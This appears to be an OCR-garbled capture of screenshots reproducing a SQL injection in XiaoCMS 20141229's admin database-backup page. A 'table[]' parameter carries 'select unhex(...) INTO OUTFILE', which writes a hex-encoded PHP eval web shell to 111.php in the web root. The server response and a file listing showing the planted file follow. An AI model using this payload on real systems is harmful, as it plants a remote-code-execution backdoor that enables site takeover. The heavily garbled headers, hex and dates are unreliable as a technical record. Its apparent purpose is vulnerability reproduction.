
Accept-Language: zh-CN, zh:q=0.9

Cookie: UM_distinctid=171a254babd567-0626del99e1768-3a65460c-144000-171a254babe73a
. CNIIDATAL1707573=
cnzz_e1d%3D381550541-1587566392-ht tp%2534%252F%252F 192, 168, 27. 1%25348099%252F%26nt
1me%3D1587566392: PHPSESSID=54el03gffukjpledsruo53iqos53

Comnection: close

wr 00 =) Oy U1 = L B =

[N I o I e ]

[ o |

list_form=&table%5B%5D=x1ia0_model&table%5B%5D=x1a0_model_fieldksubmit=
SES%SBC%S0%ES%ATHSBYESSA4% 3 THE4%BB%ED

{5F3 payload HHTHIREX:

list_form=&table%5B%5D=xiao_model™ ; select
unhex('3C3F70687020406576616C28245F504F53545B2778275D293B3F3E") INTO OUTFILE



'D:/phpstudy_pro/WWW/xiaocms_20141229/111.php";

" ;&table%5B%5D=xiao_model_field&submit=%E5%BC%80%ES5%A7%8B%ES%AL%B7%EA%BB%BD

POST fzisccme 20141200 sdainsyeten' index. phpte=databaze RITP/L. L

! Homt: 192 D6R.27.1

¢ Content=Lemgth 243

. Cache—Comtrol: max-age=0

i Origin: betp SF192. 168,271

| Upgrade=Insecure=-Requests: 1

Content=Type: spplicetieax-www-fors-ur lencoded

| Uzer-Agemt: Nozilla/5.0 (Wamdews NT 10.0: TOTEL) AppleTebLan/537.36 (KEIML, like
Gocke) Chremes75.0. 3770 142 Safari/537. 26

| Mccept

vext/hinl. spplication/shinl4nl. applicat ool ; g=0. %, imape/vebp. inage/apng. #/%  q=
0. 8. applieatson' i gned-exchangs . v=hd

| Referer: Bttp SS102. 168, 27, Liziasces IORAN200/ adeinsraten' indez, phpTc=database
Accepi=Emcoding gaip. deflate

¢ Accept-Lemguage sheCH. ohog=0. 9

| Cookie: UN_distinctidelTlal5ibabdisT-08084e100e] T60-Ja85060c- 140001 T Va2 Bdbabe T3
: CHIIBATAITOTS 3=
onzz_sidhIDIE1550541- 158 TS0 30 2=ha e pA IS IANSEIPA 25 2P 102, 16R. 2T, IN2STARMIA LS 2P 2int
inehIDLBETEEER0, PHPSESSID=S4e 103l fuk jp2e Sarunl jqald

 Connactien cloze

i list_ferw=dtableASEA D=xime_modsl ;. select
unhey (" ICIF 0S8 T0204085 TS 16C 22 ASP S0P ETBASE2TTE2TSDIVIRIFIE ) INTO OUIFILE
"D Fphpatody_pro/THT xisccns 20141229100 gy ©
cAtablediAEIx a0 _sedel fieldisubeit=%E ARCVEEVETVATVIINVE ARV TMENTNED

e

HITR/1. 1 200 O
I Berver: mpimx/l.15.110
Date: Mem. 13 Jul 2030 10:12- 50 GND
Contemt-Type: vexv/wml; charsev=unf-%2
Connection cloze
Expares: Thu. 18 Mew ISE1 OB 52 00 CHT
Pragms me-cache
£ Cache-cemtrol: private
# N-Powered-By. Xiselss 201412290
18 Contemt=Length: 638
11
12 <TPOCTYPE hesl
138 <htal?
148 Cheadd>
1 dmetm charsev="urf-3">
18 destler Ml - Xiaslued rarles
17 <link type="text/css” rel="styleshest” href="

Sxusscms_ 201481220/ coreS img message/ s unoons, c55”S
18 fhead
158 hady?
08 ddiv clage="box_barder” 1d="right” >
218 ddiv class="content”™ >
2 I EN SRR, . R

g

“a href="

Frysscms_ 20141220/ sdmimsysten’ index. phpTo=dat shased sct oo 1hs1ze=2000" ¢
MEEANEES N AN, AL

‘eeript languages" javascript”reetTimecut (
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BZm, RIERAEYELEA URL:

http://192.168.27.1/x1iaocms_20141229/adminsystem/index.php?c=database&action=1&size=2048




192.168.27.1/xiaccms_20141229/adminsystem/index.php?c=database8taction="18size=2048
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RNIR7~ 404, RIAJEBRZSUAAERRAT, (ERRIVEIESE.

H (5192.168.27.1

B3R (5)
mCy
™ Dy
= 7 phpstudy_pro
S WWW
= 7 xiaocms_20141229
M idea
B admin
M core
M data
M template
e/

< [DXfriE(s)
oOHR ~ 4+LtE CRH #IBR

WO DO

£
Jidea
admin
core
data
template
111.php
index.php
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